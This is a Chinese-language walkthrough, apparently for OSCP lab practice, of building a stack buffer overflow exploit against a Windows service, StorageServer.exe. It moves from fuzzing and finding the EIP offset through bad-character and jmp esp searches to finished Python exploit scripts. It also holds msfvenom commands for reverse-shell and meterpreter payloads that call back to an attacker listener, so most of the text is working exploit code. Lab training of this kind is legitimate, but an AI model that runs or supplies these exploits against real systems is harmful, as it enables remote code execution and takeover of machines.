复现崩溃
运行目标程序(找出端口),尝试发送大字符串观察程序是否崩溃
#!/usr/bin/python
import socket
import sys
filler = "A"*2400 //二分法找到境界值
buffer=[filler]
for string in buffer:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
根据1.py脚本,以二分法的方式找出程序崩溃的零界值(这里发现2300不崩溃,但是2400崩溃了)
寻找EIP
尝试找到崩溃的具体长度。使用msf中的pattern_create模块生成字符,方便定位
/usr/share/metasploit-framework/tools/exploit //工具路径
将其放入2.py的filler中
#!/usr/bin/python
import socket
import sys
filler = "A***********" //修改
buffer=[filler]
for string in buffer:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
管理员运行目标程序和Immunity Debugger(之后重新载入都需要管理员运行)
Immunity Debugger进入file->Attach->选择目标程序->点击运行按钮(右下角变为running)(载入步骤,同下“重新载入”)
运行2.py发现Immunity Debugger右下角变为黄色的Paused,表明程序崩溃了
观察EIP值,使用pattern_offfset工具定位
验证EIP
修改 3.py
#!/usr/bin/python
import socket
import sys
filler = "A"*2306 //修改
eip = "B"*4 //添加B字符先占位子
offset = "C"*16 //添加C字符先占位子测试
buffer= [filler + eip + offset]
for string in buffer:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
重新载入目标程序,运行3.py发现debugger程序Paused
观察EIP,若为42424242(B字符的ascll码)表明程序确实溢出了且可控!
观察上图ESP的值为0295EE6C,对应上图下框第3行C,表明下一步到达地址,所以我们需要修改offset的值为8去填补中间隔的8位
脚本修该如下:
#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "B"*4
offset = "C"*8 //修改处
buffer= [filler + eip + offset]
for string in buffer:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
查看shellcode空间是否足够(扩容测试)
一般我们的shellcode大小在300-400左右,但是有时候怕空间不够shellcode被截断就需要测试
我们现在的字符大小为:A_2306+B_4+C*8=2318 再加上可能需要的shellcode大小为400 就是等于2718。奢侈一点算3000
修改4.py如下:
#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "B"*4
offset = "C"*8
buf = "D"*(3000-len(filler)-len(eip)-len(offset)) //添加,测试空间大小
buffer= [filler + eip + offset + buf]
for string in buffer:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
全部重新载入程序后运行4.py
发现程序Paused
查看EIP对应地址是否任然为B(42)
查看4B下面是否为恰好的8个C,查看ESP对应地址是否为D
查看最后一行D地址为:02A6F110
查看第一行D地址为:02A6EE6C
计算最后一行D至第一行D的空间:02A6EE6C-02A6F110=676(10进制)
676大小足够shellcode了
寻找坏字符badchars
重新载入程序,使用5.py致使Paused
#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "B"*4
offset = "C"*8
badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer= [filler + eip + offset + badchars]
for string in buffer:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
选择ESP地址,右键选择Follow in Dump
在左下角框使用16位16进制方便查看
观察从什么位置中断(正常应为01-FF)
此处为51处中断,则在5.py的badchars中删除\x51,再次测试寻找坏字符直至所有坏字符找出,该程序坏字符为\x00、\x51(\x00默认为坏字符)
查找jmp esp
接着使用上面的Debugger(不需要重新载入)
在最下面白框处输入
!mona modules
寻找前4位为false的程序或dll(一般都为目标程序或者目标程序自带的dll,也有可能是系统dll)(oscp中会随漏洞程序文件夹中放入一个dll文件,选择它就对了!)
白框处再次输入:
!mona find -s "\xff\xe4" -m StorageServer.exe //修改最后选择的程序、dll即可 // "\xff\xe4"就是jmp esp字节码
查看results,结果显示jmp esp 地址为1120110d(有多个一般选择第一个或者最贴近目标程序的那一个)
确认esp
重新载入程序,点击跳转按钮,填入上面找到的jmp esp地址
发现的确为jmp esp指令
在该指令处“F2”下断点,点击“运行”按钮
修改6.py中eip地址(注意是倒着写),并运行
#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "\x0d\x11\x20\x11" //修改
offset = "C"*8
buf = "D"*(3000-len(filler)-len(eip)-len(offset))
buffer= [filler + eip + offset + buf]
for string in buffer:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
发现程序Paused,并且EIP指向我们的目标程序StorageServer.exe(上面选择的哪个jmp esp程序就应该显示哪个,该处是目标exe程序)
使用“F7”步入发现EIP指向ESP 为正确结果
生成shellcode
官方使用的参数如下:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.17.137 LPORT=443 –e x86/shikata_ga_nai -b "\x00\x51" EXITFUNC=thread -f c
但是经过测试该程序不适合使用这个payload(需要根据实际情况生成)
该程序使用的payload如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.137 LPORT=443 –e x86/shikata_ga_nai -b "\x00\x51" EXITFUNC=thread -f c
编写7.py加入nops(\x90为nop指令,避免上面字符干扰shellcode,一般12就够了),并且将生成的shellcode写入exp
#!/usr/bin/python
#coding: utf-8
import socket
import sys
filler = "A"*2306
eip = "\x0d\x11\x20\x11"
offset = "C"*8
nops = "\x90"*12 //添加
exp = ( "\xdd\xc2\xbe\xee\xc4\x38\x15\xd9\x74\x24\xf4\x58\x33\xc9\xb1") //生成的shellcode
buf = "D"*(3000-len(filler)-len(eip)-len(offset)-len(nops)-len(exp))
buffer= [filler + eip + offset + nops +exp + buf]
for string in buffer:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.17.141',2233))
s.send((string))
s.close()
msf开启监听,重新管理员运行目标程序,运行脚本发现可反弹shell
下面也附上官方POC脚本格式
#!/usr/bin/python
import socket
try:
print "\nSending evil buffer..."
filler = "A" * 2306
eip = "\x0d\x11\x20\x11"
offset = "C" * 4
nops = "\x90" * 10
shellcode = ("\x")
buffer = filler + eip + offset + nops + shellcode
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.17.139", 2233))
s.send(buffer)
s.close()
print "\nDone did you get a reverse shell?"
except:
print "\nCould not connect!"
注意,最后shellcode的payload的选择需要多试试,在oscp靶场中windows/shell_reverse_tcp适用,但另外一个不适用,在本地win7里windows/meterpreter/reverse_tcp适用,另外一个不适用